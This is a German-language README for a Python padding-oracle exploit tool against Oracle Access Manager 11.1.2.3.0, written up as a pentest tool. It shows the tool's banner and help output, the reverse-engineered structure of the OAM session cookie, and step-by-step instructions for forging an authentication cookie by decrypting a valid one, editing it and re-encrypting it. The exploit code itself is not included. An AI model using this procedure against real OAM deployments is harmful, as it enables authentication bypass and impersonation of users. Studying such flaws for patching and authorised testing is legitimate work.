
Dieser Exploit wurde während Pentest-Aktivitäten gegen Oracle OAM 11.1.2.3.0 entwickelt. Er basiert auf der technischen Beschreibung von sec-consult
https://www.sec-consult.com/en/blog/2018/05/oracle-access-managers-identity-crisis/
Der Exploit hängt von python-paddingoracle ab, das von hier heruntergeladen werden kann
https://github.com/mwielgoszewski/python-paddingoracle
# python oracle-oam-exploit.py -h
####### # # # #######
# # # # ## ## # # # ##### # #### # #####
# # # # # # # # # # # # # # # # # #
# # # # # # # ##### ## # # # # # # #
# # ####### # # # ## ##### # # # # #
# # # # # # # # # # # # # # #
####### # # # # ####### # # # ###### #### # #
Oracle Padding Oracle
coded by: Mostafa Soliman
usage: oracle-oam-exploit.py [-h] [-e ENCRYPT] [-d DECRYPT] [-v] URL
positional arguments:
URL Target resource URL
optional arguments:
-h, --help show this help message and exit
-e ENCRYPT, --encrypt ENCRYPT
Encrypt plain text data
-d DECRYPT, --decrypt DECRYPT
Decrypt base64 encode cipher text
-v, --verb Show decrypt block info
Der Exploit empfängt die URL der Ressource, die eine Oracle-OAM-Authentifizierung erfordert. Er führt die folgenden Schritte aus:
Der Pentester kann mit dem Flag -d einen beliebigen verschlüsselten Wert (encquery, encreplay, cookie) angeben, den er entschlüsseln möchte.
Der Pentester kann mit dem Flag -e einen beliebigen Klartextwert angeben, den er verschlüsseln möchte.
Durch Reverse Engineering des Oracle-OAM-SDK sehen wir, dass das Cookie aus der folgenden Struktur besteht:
Salt= ACL= AuthId= Ip= TCT= SessionId= userId= validate=BASE64Encode(MD5(Salt+AuthId+Ip+ACL+TCT+SessionId))
Um ein Cookie zu erstellen, holen Sie sich ein gültiges Klartext-Cookie mit dem Flag -d, ändern Sie es und verschlüsseln Sie es dann erneut mit -e.
